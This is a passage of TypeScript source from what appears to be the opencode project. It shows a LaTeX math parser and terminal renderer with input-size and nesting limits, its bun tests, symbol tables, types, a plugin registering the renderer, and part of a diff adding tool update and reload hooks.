return new Parser(expanded, options.strict ?? false, maxDepth).parse()
}
export function expandLatexMacros(source: string, options: ParseOptions = {}): string {
const maxSourceLength = resolvePositiveInteger(options.maxSourceLength, DEFAULT_MAX_SOURCE_LENGTH, "maxSourceLength")
const maxExpandedLength = resolvePositiveInteger(options.maxExpandedLength, maxSourceLength, "maxExpandedLength")
const maxExpand = resolvePositiveInteger(options.maxExpand, 100, "maxExpand")
const maxDepth = resolvePositiveInteger(options.maxDepth, DEFAULT_MAX_NESTING_DEPTH, "maxDepth")
assertSourceLength(source, maxSourceLength)
assertNestingDepth(source, maxDepth)
const expanded = expandMacros(source, options.macros, maxExpand, maxExpandedLength)
if (expanded !== source) assertNestingDepth(expanded, maxDepth)
return expanded
}
function expandMacros(
source: string,
macros: ParseOptions["macros"],
maxExpand: number,
maxExpandedLength: number,
): string {
assertSourceLength(source, maxExpandedLength, "Expanded LaTeX source")
if (!macros || Object.keys(macros).length === 0) return source
let result = source
for (let pass = 0; pass < maxExpand; pass++) {
let changed = false
let cursor = 0
let outputLength = 0
const output: string[] = []
const commands = /\\[A-Za-z@]+|\\./g
for (const match of result.matchAll(commands)) {
const command = match[0]
const index = match.index
const replacement = macros[command] ?? macros[command.slice(1)]
if (replacement === undefined) continue
if (typeof replacement !== "string") {
throw new TypeError(`Macro ${command} must expand to a string`)
}
appendWithinLimit(output, result.slice(cursor, index), outputLength, maxExpandedLength)
outputLength += index - cursor
appendWithinLimit(output, replacement, outputLength, maxExpandedLength)
outputLength += replacement.length
cursor = index + command.length
changed = true
}
if (!changed) return result
appendWithinLimit(output, result.slice(cursor), outputLength, maxExpandedLength)
result = output.join("")
}
throw new LatexParseError(`Macro expansion exceeded ${maxExpand} passes`, 0)
}
function appendWithinLimit(output: string[], value: string, currentLength: number, maximum: number): void {
if (currentLength + value.length > maximum) {
throw new LatexParseError(`Expanded LaTeX source exceeds the ${maximum}-character limit`, maximum)
}
output.push(value)
}
class Parser {
private position = 0
private depth = 0
constructor(
private readonly source: string,
private readonly strict: boolean,
private readonly maxDepth: number,
) {}
public parse(): MathNode {
const body = this.parseRow()
this.skipMathWhitespace()
if (!this.done()) this.fail(`Unexpected "${this.peek()}"`)
return row(body)
}
private parseRow(stop?: () => boolean): MathNode[] {
const body: MathNode[] = []
while (!this.done()) {
this.skipMathWhitespace()
if (this.done() || stop?.()) break
const current = this.peek()
if (current === "}") break
if (current === "^" || current === "_") {
this.position++
const script = this.parseArgument()
const previous = body.pop() ?? { type: "row", body: [] }
const existing = previous.type === "scripts" ? previous : { type: "scripts" as const, base: previous }
if (current === "^") existing.superscript = script
else existing.subscript = script
body.push(existing)
continue
}
if (current === "\\" && this.applyLimitsModifier(body)) continue
body.push(this.parseAtom())
}
return body
}
private parseAtom(): MathNode {
this.depth++
if (this.depth > this.maxDepth) {
this.depth--
this.fail(`LaTeX nesting exceeds the ${this.maxDepth}-level limit`)
}
try {
return this.parseAtomInner()
} finally {
this.depth--
}
}
private parseAtomInner(): MathNode {
const current = this.peek()
if (current === "{") return this.parseGroup()
if (current === "\\") return this.parseCommand()
if (current === "~") {
this.position++
return { type: "space", width: 1 }
}
this.position++
return { type: "symbol", value: current, role: inferRole(current) }
}
private parseCommand(): MathNode {
const start = this.position
const command = this.readCommand()
if (command === "\\") return { type: "row", body: [] }
if (command === "begin") return this.parseEnvironment()
if (command === "frac" || command === "dfrac" || command === "tfrac" || command === "cfrac") {
this.skipMathWhitespace()
const alignment =
command === "cfrac" && this.peek() === "[" ? /^\[([lr]?)\]/.exec(this.source.slice(this.position)) : undefined
if (alignment === null) this.fail("Unsupported \\cfrac alignment; expected [l], [r], or []")
if (alignment) this.position += alignment[0].length
return {
type: "fraction",
numerator: this.parseArgument(),
denominator: this.parseArgument(),
bar: true,
...(alignment?.[1] ? { numeratorAlign: alignment[1] === "l" ? "left" : "right" } : {}),
}
}
if (command === "binom" || command === "dbinom" || command === "tbinom") {
const fraction: MathNode = {
type: "fraction",
numerator: this.parseArgument(),
denominator: this.parseArgument(),
bar: false,
}
return { type: "delimited", left: "(", body: fraction, right: ")" }
}
if (command === "sqrt") {
const index = this.parseOptionalArgument()
const result: MathNode = { type: "root", body: this.parseArgument() }
if (index) result.index = index
return result
}
if (command === "left") return this.parseLeftRight()
if (command === "middle") return { type: "symbol", value: this.readDelimiter() }
if (command === "right") {
this.position = start
this.fail("Unexpected \\right")
}
if (command in accents) {
return { type: "accent", accent: accents[command], body: this.parseArgument() }
}
if (command in variants) {
return {
type: "variant",
variant: variants[command],
body: command === "textrm" ? { type: "text", value: this.readTextGroup() } : this.parseArgument(),
}
}
if (command === "text" || command === "mbox") return { type: "text", value: this.readTextGroup() }
if (command === "operatorname") {
const limits = this.peek() === "*"
if (limits) this.position++
return { type: "operator", value: this.readTextGroup(), limits }
}
if (command === "overset" || command === "stackrel") {
const over = this.parseArgument()
const base = this.parseArgument()
return { type: "overunder", base, over }
}
if (command === "underset") {
const under = this.parseArgument()
const base = this.parseArgument()
return { type: "overunder", base, under }
}
if (command === "overbrace" || command === "underbrace") {
return { type: "brace", body: this.parseArgument(), position: command === "overbrace" ? "over" : "under" }
}
if (command === "textcolor") {
const color = this.readRawGroup()
return { type: "color", color, body: this.parseArgument() }
}
if (command === "color") {
const color = this.readRawGroup()
return { type: "color", color, body: row(this.parseRow()) }
}
if (command === "not") {
const target = this.parseAtom()
if (target.type === "symbol") return { ...target, value: negateSymbol(target.value) }
return { type: "row", body: [{ type: "symbol", value: "¬" }, target] }
}
if (command === "pmod") {
return {
type: "row",
body: [
{ type: "space", width: 1 },
{ type: "text", value: "(mod " },
this.parseArgument(),
{ type: "text", value: ")" },
],
}
}
if (command === "mod" || command === "bmod") return { type: "operator", value: "mod", limits: false }
if (command === "displaylines") {
this.skipMathWhitespace()
this.expect("{")
return this.parseMatrix("gathered", "}")
}
if (
command === "limits" ||
command === "nolimits" ||
command === "displaystyle" ||
command === "textstyle" ||
command === "scriptstyle" ||
command === "scriptscriptstyle"
) {
return { type: "row", body: [] }
}
if (/^(?:big|Big|bigg|Bigg)[lrm]?$/.test(command)) {
return { type: "symbol", value: this.readDelimiter() }
}
if (command in spacingCommands) return { type: "space", width: spacingCommands[command] }
if (command in symbolTable) {
const symbol = symbolTable[command]
return { type: "symbol", value: symbol.value, ...(symbol.role ? { role: symbol.role } : {}) }
}
if (command in largeOperators) {
return { type: "operator", value: largeOperators[command], limits: !command.includes("int") }
}
if (namedOperators.has(command)) {
return {
type: "operator",
value: command,
limits: command.startsWith("lim") || command === "min" || command === "max",
}
}
if (command === "backslash") return { type: "symbol", value: "\\" }
const delimiter = delimiterTable[`\\${command}`] ?? delimiterTable[command]
if (delimiter !== undefined) return { type: "symbol", value: delimiter }
if (command === "{" || command === "}") return { type: "symbol", value: command }
if (command === "%" || command === "#" || command === "$" || command === "&" || command === "_") {
return { type: "symbol", value: command }
}
if (this.strict) this.fail(`Unsupported command \\${command}`, start)
return { type: "text", value: `\\${command}` }
}
private parseEnvironment(): MathNode {
const rawEnvironment = this.readRawGroup()
const unstarredEnvironment = rawEnvironment.endsWith("*") ? rawEnvironment.slice(0, -1) : rawEnvironment
const environment = matrixEnvironments.find((name) => name === unstarredEnvironment)
if (!environment) {
if (this.strict) this.fail(`Unsupported environment ${unstarredEnvironment}`)
const content = this.readUntilEnd(rawEnvironment)
return { type: "text", value: content }
}
const columns = environment === "array" ? this.readRawGroup().replace(/\s/g, "") : undefined
if (columns !== undefined && (!/^[lcr|]+$/.test(columns) || !/[lcr]/.test(columns))) {
this.fail("Unsupported array columns; expected l, c, r, and |")
}
return this.parseMatrix(environment, `\\end{${rawEnvironment}}`, columns)
}
private parseMatrix(environment: MatrixEnvironment, end: string, columns?: string): MathNode {
const rows: MathNode[][] = []
let cells: MathNode[] = []
while (!this.done()) {
this.skipMathWhitespace()
if (this.source.startsWith(end, this.position) && cells.length === 0) break
const cellStart = this.position
const cell = row(
this.parseRow(
() =>
this.peek() === "&" ||
this.source.startsWith("\\\\", this.position) ||
this.source.startsWith(end, this.position),
),
)
cells.push(cell)
this.skipMathWhitespace()
if (this.peek() === "&") {
this.position++
continue
}
if (this.source.startsWith("\\\\", this.position)) {
this.position += 2
this.consumeOptionalBracket()
rows.push(cells)
cells = []
continue
}
if (this.source.startsWith(end, this.position)) break
// Empty cells are valid only when a cell, row, or closing delimiter advances the parser.
if (this.position === cellStart) this.fail(`Unexpected "${this.peek()}" in ${environment}`)
}
if (!this.source.startsWith(end, this.position)) this.fail(`Missing ${end}`)
this.expect(end)
if (cells.length > 0 || rows.length === 0) rows.push(cells)
return { type: "matrix", rows, environment, ...(columns !== undefined ? { columns } : {}) }
}
private parseLeftRight(): MathNode {
const left = this.readDelimiter()
const atRight = () =>
this.source.startsWith("\\right", this.position) && !/[A-Za-z@]/.test(this.source[this.position + 6] ?? "")
const body = row(this.parseRow(atRight))
if (!atRight()) this.fail("Missing \\right")
this.readCommand()
const right = this.readDelimiter()
return { type: "delimited", left, body, right }
}
private parseArgument(): MathNode {
this.skipMathWhitespace()
if (this.peek() === "{") return this.parseGroup()
if (this.done()) this.fail("Expected an argument")
return this.parseAtom()
}
private parseGroup(): MathNode {
this.expect("{")
const body = row(this.parseRow())
this.expect("}")
return body
}
private parseOptionalArgument(): MathNode | undefined {
this.skipMathWhitespace()
if (this.peek() !== "[") return undefined
this.position++
const body = row(this.parseRow(() => this.peek() === "]"))
this.expect("]")
return body
}
private consumeOptionalBracket(): void {
this.skipMathWhitespace()
if (this.peek() !== "[") return
let depth = 0
while (!this.done()) {
const char = this.source[this.position++]
if (char === "[") depth++
if (char === "]" && --depth === 0) return
}
}
private readDelimiter(): string {
this.skipMathWhitespace()
if (this.done()) this.fail("Expected a delimiter")
const start = this.position
if (this.peek() === "\\") {
const command = this.readCommand()
const delimiter = delimiterTable[`\\${command}`] ?? delimiterTable[command]
if (delimiter !== undefined) return delimiter
if (this.strict) this.fail(`Unsupported delimiter \\${command}`, start)
return `\\${command}`
}
const token = this.source[this.position++]
return delimiterTable[token] ?? token
}
private readCommand(): string {
this.expect("\\")
if (this.done()) return "\\"
const next = this.peek()
if (!/[A-Za-z@]/.test(next)) {
this.position++
return next
}
const start = this.position
while (!this.done() && /[A-Za-z@]/.test(this.peek())) this.position++
const command = this.source.slice(start, this.position)
if (this.peek() === " ") this.position++
return command
}
private readRawGroup(): string {
this.skipMathWhitespace()
this.expect("{")
const start = this.position
let depth = 1
while (!this.done()) {
const char = this.source[this.position++]
const escaped = (char === "{" || char === "}") && this.isEscaped(this.position - 1)
if (char === "{" && !escaped) depth++
if (char === "}" && !escaped && --depth === 0) return this.source.slice(start, this.position - 1)
}
return this.fail("Unterminated group", start)
}
private applyLimitsModifier(body: MathNode[]): boolean {
const match = /^\\(limits|nolimits)(?![A-Za-z@])/.exec(this.source.slice(this.position))
if (!match) return false
this.position += match[0].length
const target = body.at(-1)
const operator =
target?.type === "operator"
? target
: target?.type === "scripts" && target.base.type === "operator"
? target.base
: undefined
if (operator) operator.limits = match[1] === "limits"
return true
}
private isEscaped(index: number): boolean {
let slashCount = 0
for (let cursor = index - 1; cursor >= 0 && this.source[cursor] === "\\"; cursor--) slashCount++
return slashCount % 2 === 1
}
private readTextGroup(): string {
return this.readRawGroup()
.replace(/\\([A-Za-z@]+|.)/g, (match, command: string) => {
if ("{}%#$&_ ".includes(command)) return command
if (command === "textbackslash") return "\\"
if (command === "!") return ""
if (command in spacingCommands) return " ".repeat(Math.max(1, spacingCommands[command]))
return match
})
.replace(/~/g, " ")
}
private readUntilEnd(environment: string): string {
const marker = `\\end{${environment}}`
const end = this.source.indexOf(marker, this.position)
if (end < 0) this.fail(`Missing ${marker}`)
const content = this.source.slice(this.position, end)
this.position = end + marker.length
return content
}
private skipMathWhitespace(): void {
while (!this.done()) {
if (/\s/.test(this.peek())) {
this.position++
continue
}
if (this.peek() === "%") {
while (!this.done() && this.peek() !== "\n") this.position++
continue
}
break
}
}
private expect(value: string): void {
if (!this.source.startsWith(value, this.position)) this.fail(`Expected "${value}"`)
this.position += value.length
}
private peek(): string {
return this.source[this.position] ?? ""
}
private done(): boolean {
return this.position >= this.source.length
}
private fail(message: string, position = this.position): never {
throw new LatexParseError(message, position)
}
}
function row(body: MathNode[]): MathNode {
if (body.length === 1) return body[0]
return { type: "row", body }
}
function inferRole(value: string): "binary" | "relation" | "punctuation" | "opening" | "closing" | "ordinary" {
if ("+-*/×÷±∓".includes(value)) return "binary"
if ("=<>≤≥≠≈∈∉⊂⊃".includes(value)) return "relation"
if (",;:".includes(value)) return "punctuation"
if ("([{".includes(value)) return "opening"
if (")]}".includes(value)) return "closing"
return "ordinary"
}
function negateSymbol(value: string): string {
const negated: Record<string, string> = {
"=": "≠",
"∈": "∉",
"∋": "∌",
"≡": "≢",
"≈": "≉",
"": "≁",
"<": "≮",
">": "≯",
"≤": "≰",
"≥": "≱",
"⊂": "⊄",
"⊃": "⊅",
"⊆": "⊈",
"⊇": "⊉",
"": "∤",
"∥": "∦",
}
return negated[value] ?? `${value}̸`
}
+14
View File
@@ -0,0 +1,14 @@
import { Plugin } from "@opencode-ai/plugin/tui"
import { createLatexCodeBlockRenderer } from "./markdown"
export default Plugin.define({
id: "opencode.latex",
setup(context) {
const render = createLatexCodeBlockRenderer(context.renderer, () => ({
text: context.theme.text.default,
subdued: context.theme.text.subdued,
}))
context.markdown.registerCodeBlockRenderer("latex", render)
context.markdown.registerCodeBlockRenderer("math", render)
},
})
+87
View File
@@ -0,0 +1,87 @@
import { describe, expect, test } from "bun:test"
import { renderLatex, renderLatexToString } from "./render"
describe("renderLatexToString", () => {
test("renders a fraction with a centered rule", () => {
expect(renderLatexToString(String.raw`\frac{x+1}{y-1}`)).toBe([" x + 1", "───────", " y - 1"].join("\n"))
})
test.each([
[String.raw`E = mc^2`, "E = mc²"],
[String.raw`a_n`, "aₙ"],
[String.raw`x_i^2`, "x²ᵢ"],
[String.raw`x^{}`, "x"],
[String.raw`x_{}`, "x"],
[String.raw`x^{}_{}`, "x"],
[String.raw`x^m_1`, " m\nx\n 1"],
[String.raw`x^2_q`, " 2\nx\n q"],
[String.raw`x^{\frac{1}{2}}_1`, " 1\n ───\n 2\nx\n 1"],
])("compacts scripts only when every script is supported: %s", (source, expected) => {
expect(renderLatexToString(source)).toBe(expected)
})
test("respects script and display mode options", () => {
expect(renderLatexToString(String.raw`x_i^2`, { compactScripts: false })).toBe(" 2\nx\n i")
expect(renderLatexToString(String.raw`\sum_1^n`, { displayMode: false })).toBe("∑ⁿ₁")
expect(renderLatexToString(String.raw`\sum_1^n`, { compactScripts: false })).toBe("n\n∑\n1")
})
test("centers binomials around an empty math-axis row", () => {
expect(renderLatexToString(String.raw`P = \binom{n}{k}`)).toBe([" ⎛ n ⎞", "P = ⎜ ⎟", " ⎝ k ⎠"].join("\n"))
})
test("renders roots with a vinculum", () => {
expect(renderLatexToString(String.raw`\sqrt{x^2+y^2}`)).toBe([" ╭───────", "╰╯x² + y²"].join("\n"))
})
test("renders matrices with stretching delimiters", () => {
expect(renderLatexToString(String.raw`\begin{pmatrix}a & b \\ c & d\end{pmatrix}`)).toBe(
["⎛a b⎞", "⎜ ⎟", "⎝c d⎠"].join("\n"),
)
})
test("places display operator limits above and below", () => {
expect(renderLatexToString(String.raw`\sum_{i=1}^{n} i^2`)).toBe([" n", " ∑ i²", "i = 1"].join("\n"))
})
test("returns intrinsic geometry and baseline", () => {
const layout = renderLatex(String.raw`\frac{1}{2}`)
expect(layout.width).toBe(3)
expect(layout.height).toBe(3)
expect(layout.baseline).toBe(1)
})
test("renders blackboard, calligraphic, and fraktur alphabets", () => {
expect(renderLatexToString(String.raw`\mathbb{R} \to \mathcal{C} \times \mathfrak{g}`)).toBe("𝒞 × 𝔤")
})
test("preserves inherited styles through nested variants and colors", () => {
const layout = renderLatex(String.raw`\mathbf{\mathsf{\textcolor{red}{\mathit{x}}}}`)
expect(layout.cells[0][0]).toEqual({ char: "x", style: { bold: true, italic: true, color: "red" } })
})
test("renders nested fractions without flattening their structure", () => {
const result = renderLatexToString(String.raw`\frac{1}{1+\frac{1}{x}}`)
expect(result.split("\n")).toHaveLength(5)
expect(result.match(/─/g)?.length).toBeGreaterThanOrEqual(10)
})
test("renders common textbook structures", () => {
const result = renderLatexToString(String.raw`\left[\frac{-b \pm \sqrt{b^2-4ac}}{2a}\right]`)
expect(result).toContain("±")
expect(result).toContain("╰╯")
expect(result).toContain("─")
expect(result).toContain("⎡")
expect(result).toContain("⎦")
})
test("places fallback combining negation after the base symbol", () => {
const result = renderLatexToString(String.raw`\not\rightarrow`)
expect(Array.from(result)).toEqual(["→", "̸"])
})
test("treats square brackets as ordinary interval delimiters", () => {
expect(renderLatexToString(String.raw`x\in[0,1]`)).toBe("x ∈ [0,1]")
expect(renderLatexToString(String.raw`[-1,1]`)).toBe("[-1,1]")
})
})
+11
View File
@@ -0,0 +1,11 @@
import { layoutMath } from "./layout"
import { parseLatex } from "./parser"
import type { MathLayout, RenderLatexOptions } from "./types"
export function renderLatex(source: string, options: RenderLatexOptions = {}): MathLayout {
return layoutMath(parseLatex(source, options), options)
}
export function renderLatexToString(source: string, options: RenderLatexOptions = {}): string {
return renderLatex(source, options).toString()
}
+69
View File
@@ -0,0 +1,69 @@
import { describe, expect, test } from "bun:test"
import { renderLatex } from "./render"
describe("root geometry", () => {
test.each([
["x", String.raw`\frac{1}{2}`],
["x", String.raw`\sqrt{n}`],
["x", "123456789"],
["x", String.raw`\frac{123456789}{\frac{n}{m}}`],
[String.raw`\frac{a}{b}`, "3"],
[String.raw`\sqrt{\frac{a}{b}}`, String.raw`\sqrt{\frac{n}{m}}`],
[String.raw`\text{界}`, String.raw`\text{次}`],
["", String.raw`\frac{1}{2}`],
])("preserves body %s and index %s", (bodySource, indexSource) => {
const body = renderLatex(bodySource, { color: "red" })
const index = renderLatex(indexSource, { color: "blue" })
const root = renderLatex(String.raw`\sqrt[\textcolor{blue}{${indexSource}}]{\textcolor{red}{${bodySource}}}`)
const bodyX = root.width - body.width
const bodyY = root.height - body.height
expect(root.cells).toHaveLength(root.height)
expect(root.baseline).toBe(bodyY + body.baseline)
expect(bodyX).toBeGreaterThan(index.width)
expect(bodyY).toBeGreaterThanOrEqual(index.height)
for (const row of root.cells) expect(row).toHaveLength(root.width)
for (const [y, row] of body.cells.entries()) {
for (const [x, cell] of row.entries()) expect(root.cells[bodyY + y][bodyX + x]).toEqual(cell)
}
for (const [y, row] of index.cells.entries()) {
for (const [x, cell] of row.entries()) expect(root.cells[y][x]).toEqual(cell)
}
expect(root.cells.flat().filter((cell) => cell?.style?.color === "red")).toHaveLength(
body.cells.flat().filter(Boolean).length,
)
expect(root.cells.flat().filter((cell) => cell?.style?.color === "blue")).toHaveLength(
index.cells.flat().filter(Boolean).length,
)
})
test("connects each nested overbar to a full-height stem", () => {
const root = renderLatex(String.raw`\sqrt{\sqrt{\sqrt{x}}}`)
expect(root.toString()).toBe([" ╭─────", " │ ╭───", " │ │ ╭─", "╰╯╰╯╰╯x"].join("\n"))
expect(root.height).toBe(4)
expect(root.baseline).toBe(3)
for (const depth of [0, 1, 2]) {
for (let y = depth; y < root.height; y++) expect(root.cells[y][depth * 2 + 1]).toBeDefined()
}
expect(root.cells.flat().filter((cell) => cell?.char === "x")).toHaveLength(1)
})
test("extends a fraction root below the math axis without moving its baseline", () => {
const root = renderLatex(String.raw`\sqrt{\frac{a}{b}}`)
expect(root.toString()).toBe([" ╭───", " │ a", " │───", "╰╯ b"].join("\n"))
expect(root.height).toBe(4)
expect(root.baseline).toBe(2)
for (let y = 0; y < root.height; y++) expect(root.cells[y][1]).toBeDefined()
expect(root.cells[root.baseline].map((cell) => cell?.char ?? " ").join("")).toContain("───")
expect(root.cells[root.height - 1].some((cell) => cell?.char === "b")).toBe(true)
})
test.each([
[String.raw`\sqrt{x}`, [" ╭─", "╰╯x"]],
[String.raw`\sqrt[3]{x}`, ["3╭─", "╰╯x"]],
[String.raw`\sqrt[\frac{1}{2}]{x}`, [" 1", "───", " 2 ╭─", " ╰╯x"]],
[String.raw`\sqrt[\sqrt{n}]{x}`, [" ╭─", "╰╯n╭─", " ╰╯x"]],
])("uses the same connected construction for %s", (source, expected) => {
expect(renderLatex(source).toString()).toBe(expected.join("\n"))
})
})
+309
View File
@@ -0,0 +1,309 @@
import type { SymbolRole } from "./types"
export interface SymbolDefinition {
value: string
role?: SymbolRole
}
const ordinary: Record<string, string> = {
alpha: "α",
beta: "β",
gamma: "γ",
delta: "δ",
epsilon: "ε",
varepsilon: "ϵ",
zeta: "ζ",
eta: "η",
theta: "θ",
vartheta: "ϑ",
iota: "ι",
kappa: "κ",
lambda: "λ",
mu: "μ",
nu: "ν",
xi: "ξ",
omicron: "ο",
pi: "π",
varpi: "ϖ",
rho: "ρ",
varrho: "ϱ",
sigma: "σ",
varsigma: "ς",
tau: "τ",
upsilon: "υ",
phi: "ϕ",
varphi: "φ",
chi: "χ",
psi: "ψ",
omega: "ω",
Gamma: "Γ",
Delta: "Δ",
Theta: "Θ",
Lambda: "Λ",
Xi: "Ξ",
Pi: "Π",
Sigma: "Σ",
Upsilon: "Υ",
Phi: "Φ",
Psi: "Ψ",
Omega: "Ω",
infty: "∞",
ell: "",
hbar: "ℏ",
imath: "ı",
jmath: "ȷ",
Re: "",
Im: "",
aleph: "ℵ",
beth: "ℶ",
gimel: "ℷ",
daleth: "ℸ",
partial: "∂",
nabla: "∇",
angle: "∠",
measuredangle: "∡",
triangle: "△",
square: "□",
lozenge: "◊",
top: "",
bot: "⊥",
emptyset: "∅",
varnothing: "∅",
forall: "∀",
exists: "∃",
nexists: "∄",
neg: "¬",
lnot: "¬",
prime: "",
backprime: "",
clubsuit: "♣",
diamondsuit: "♢",
heartsuit: "♡",
spadesuit: "♠",
checkmark: "✓",
}
const binary: Record<string, string> = {
pm: "±",
mp: "∓",
times: "×",
div: "÷",
cdot: "·",
ast: "",
star: "⋆",
circ: "∘",
bullet: "∙",
oplus: "⊕",
ominus: "⊖",
otimes: "⊗",
oslash: "⊘",
odot: "⊙",
cap: "∩",
cup: "",
uplus: "⊎",
sqcap: "⊓",
sqcup: "⊔",
vee: "",
lor: "",
wedge: "∧",
land: "∧",
setminus: "",
wr: "≀",
diamond: "⋄",
bigtriangleup: "△",
bigtriangledown: "▽",
triangleleft: "◁",
triangleright: "▷",
}
const relation: Record<string, string> = {
equals: "=",
neq: "≠",
ne: "≠",
equiv: "≡",
approx: "≈",
sim: "",
simeq: "≃",
cong: "≅",
asymp: "≍",
propto: "∝",
lt: "<",
gt: ">",
le: "≤",
leq: "≤",
ge: "≥",
geq: "≥",
ll: "≪",
gg: "≫",
prec: "≺",
succ: "≻",
preceq: "⪯",
succeq: "⪰",
subset: "⊂",
supset: "⊃",
subseteq: "⊆",
supseteq: "⊇",
sqsubset: "⊏",
sqsupset: "⊐",
sqsubseteq: "⊑",
sqsupseteq: "⊒",
in: "∈",
ni: "∋",
notin: "∉",
owns: "∋",
vdash: "⊢",
dashv: "⊣",
models: "⊨",
mid: "",
parallel: "∥",
perp: "⊥",
smile: "⌣",
frown: "⌢",
}
const arrows: Record<string, string> = {
leftarrow: "←",
gets: "←",
rightarrow: "→",
to: "→",
leftrightarrow: "↔",
Leftarrow: "⇐",
Rightarrow: "⇒",
Leftrightarrow: "⇔",
mapsto: "↦",
hookleftarrow: "↩",
hookrightarrow: "↪",
leftharpoonup: "↼",
leftharpoondown: "↽",
rightharpoonup: "⇀",
rightharpoondown: "⇁",
rightleftharpoons: "⇌",
longleftarrow: "⟵",
longrightarrow: "⟶",
longleftrightarrow: "⟷",
Longleftarrow: "⟸",
Longrightarrow: "⟹",
Longleftrightarrow: "⟺",
longmapsto: "⟼",
uparrow: "↑",
downarrow: "↓",
updownarrow: "↕",
Uparrow: "⇑",
Downarrow: "⇓",
Updownarrow: "⇕",
nearrow: "↗",
searrow: "↘",
swarrow: "↙",
nwarrow: "↖",
}
const punctuation: Record<string, string> = {
cdots: "⋯",
ldots: "…",
dots: "…",
vdots: "⋮",
ddots: "⋱",
colon: ":",
}
export const symbolTable: Readonly<Record<string, SymbolDefinition>> = {
...Object.fromEntries(Object.entries(ordinary).map(([name, value]) => [name, { value, role: "ordinary" as const }])),
...Object.fromEntries(Object.entries(binary).map(([name, value]) => [name, { value, role: "binary" as const }])),
...Object.fromEntries(Object.entries(relation).map(([name, value]) => [name, { value, role: "relation" as const }])),
...Object.fromEntries(Object.entries(arrows).map(([name, value]) => [name, { value, role: "relation" as const }])),
...Object.fromEntries(
Object.entries(punctuation).map(([name, value]) => [name, { value, role: "punctuation" as const }]),
),
}
export const largeOperators: Readonly<Record<string, string>> = {
sum: "∑",
prod: "∏",
coprod: "∐",
int: "∫",
iint: "∬",
iiint: "∭",
oint: "∮",
bigcap: "⋂",
bigcup: "",
bigvee: "",
bigwedge: "⋀",
bigoplus: "⨁",
bigotimes: "⨂",
bigodot: "⨀",
}
export const namedOperators = new Set([
"arccos",
"arcsin",
"arctan",
"arg",
"cos",
"cosh",
"cot",
"coth",
"csc",
"deg",
"det",
"dim",
"exp",
"gcd",
"hom",
"inf",
"ker",
"lg",
"lim",
"liminf",
"limsup",
"ln",
"log",
"max",
"min",
"mod",
"Pr",
"sec",
"sin",
"sinh",
"sup",
"tan",
"tanh",
])
export const delimiterTable: Readonly<Record<string, string>> = {
"(": "(",
")": ")",
"[": "[",
"]": "]",
"\\{": "{",
"\\}": "}",
"{": "{",
"}": "}",
"|": "│",
"\\|": "║",
vert: "│",
Vert: "║",
lvert: "│",
rvert: "│",
lVert: "║",
rVert: "║",
lbrace: "{",
rbrace: "}",
langle: "⟨",
rangle: "⟩",
lfloor: "⌊",
rfloor: "⌋",
lceil: "⌈",
rceil: "⌉",
".": "",
}
export const spacingCommands: Readonly<Record<string, number>> = {
",": 0,
":": 1,
";": 1,
"!": 0,
quad: 2,
qquad: 4,
enspace: 1,
thinspace: 0,
}
+97
View File
@@ -0,0 +1,97 @@
export type MathVariant = "normal" | "bold" | "italic" | "sans" | "monospace" | "double-struck" | "script" | "fraktur"
export type MathNode =
| { type: "row"; body: MathNode[] }
| { type: "symbol"; value: string; role?: SymbolRole }
| { type: "text"; value: string }
| { type: "space"; width: number }
| {
type: "fraction"
numerator: MathNode
denominator: MathNode
bar: boolean
numeratorAlign?: "left" | "right"
}
| { type: "root"; body: MathNode; index?: MathNode }
| { type: "scripts"; base: MathNode; superscript?: MathNode; subscript?: MathNode }
| { type: "delimited"; left: string; body: MathNode; right: string }
| { type: "matrix"; rows: MathNode[][]; environment: MatrixEnvironment; columns?: string }
| { type: "brace"; body: MathNode; position: "over" | "under" }
| { type: "accent"; accent: AccentKind; body: MathNode }
| { type: "variant"; variant: MathVariant; body: MathNode }
| { type: "operator"; value: string; limits: boolean }
| { type: "overunder"; base: MathNode; over?: MathNode; under?: MathNode }
| { type: "color"; color: string; body: MathNode }
export type SymbolRole = "ordinary" | "binary" | "relation" | "operator" | "punctuation" | "opening" | "closing"
export type MatrixEnvironment =
| "matrix"
| "pmatrix"
| "bmatrix"
| "Bmatrix"
| "vmatrix"
| "Vmatrix"
| "cases"
| "aligned"
| "align"
| "gathered"
| "gather"
| "smallmatrix"
| "array"
export type AccentKind = "hat" | "widehat" | "bar" | "overline" | "underline" | "vec" | "tilde" | "dot" | "ddot"
export interface ParseOptions {
macros?: Readonly<Record<string, string>>
maxExpand?: number
/**
* Maximum accepted input length. This guards interactive and AI-generated
* formulas against accidentally exhausting the terminal process.
*/
maxSourceLength?: number
/**
* Maximum length after user-macro expansion. Defaults to
* `maxSourceLength`.
*/
maxExpandedLength?: number
/** Maximum structural nesting depth. */
maxDepth?: number
strict?: boolean
}
export class LatexParseError extends Error {
public readonly position: number
constructor(message: string, position: number) {
super(`${message} at offset ${position}`)
this.name = "LatexParseError"
this.position = position
}
}
export interface MathStyle {
color?: string
bold?: boolean
italic?: boolean
dim?: boolean
}
export interface MathCell {
char: string
style?: MathStyle
}
export interface MathLayout {
readonly width: number
readonly height: number
readonly baseline: number
readonly cells: ReadonlyArray<ReadonlyArray<MathCell | undefined>>
toString(): string
}
export interface RenderLatexOptions extends ParseOptions {
displayMode?: boolean
compactScripts?: boolean
color?: string
}
+8
View File
@@ -0,0 +1,8 @@
{
"$schema": "https://json.schemastore.org/tsconfig",
"extends": "@tsconfig/bun/tsconfig.json",
"compilerOptions": {
"lib": ["ESNext", "DOM", "DOM.Iterable"],
"noUncheckedIndexedAccess": false
}
}
+5 -1
View File
@@ -2,13 +2,16 @@ import { Tool } from "@opencode-ai/schema/tool"
import type { Agent } from "@opencode-ai/schema/agent"
import type { Session } from "@opencode-ai/schema/session"
import type { SessionMessage } from "@opencode-ai/schema/session-message"
import type { JsonSchema } from "effect"
import type { Effect, JsonSchema, Types } from "effect"
import type { Hooks, Transform } from "./registration.js"
export interface ToolDraft {
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
tool: Tool.Info<Input, Output>,
): void
/** Updates an existing tool; missing IDs are ignored. */
update(id: string, update: (tool: Types.Mutable<Tool.Info>) => void): void
remove(id: string): void
}
export interface ToolHooks {
@@ -48,5 +51,6 @@ export interface ToolFailures extends Record<keyof ToolHooks, unknown> {
export interface ToolDomain {
readonly transform: Transform<ToolDraft>
readonly reload: () => Effect.Effect<void>
readonly hook: Hooks<ToolHooks, ToolFailures>
}
+21
View File
@@ -294,10 +294,31 @@ export function fromPromise(plugin: Plugin) {
scan: (options) => run(host.storage.scan(options)),
},
tool: {
reload: () => run(host.tool.reload()),
transform: (callback) =>
register(
host.tool.transform((draft) =>
callback({
update: (id, update) =>
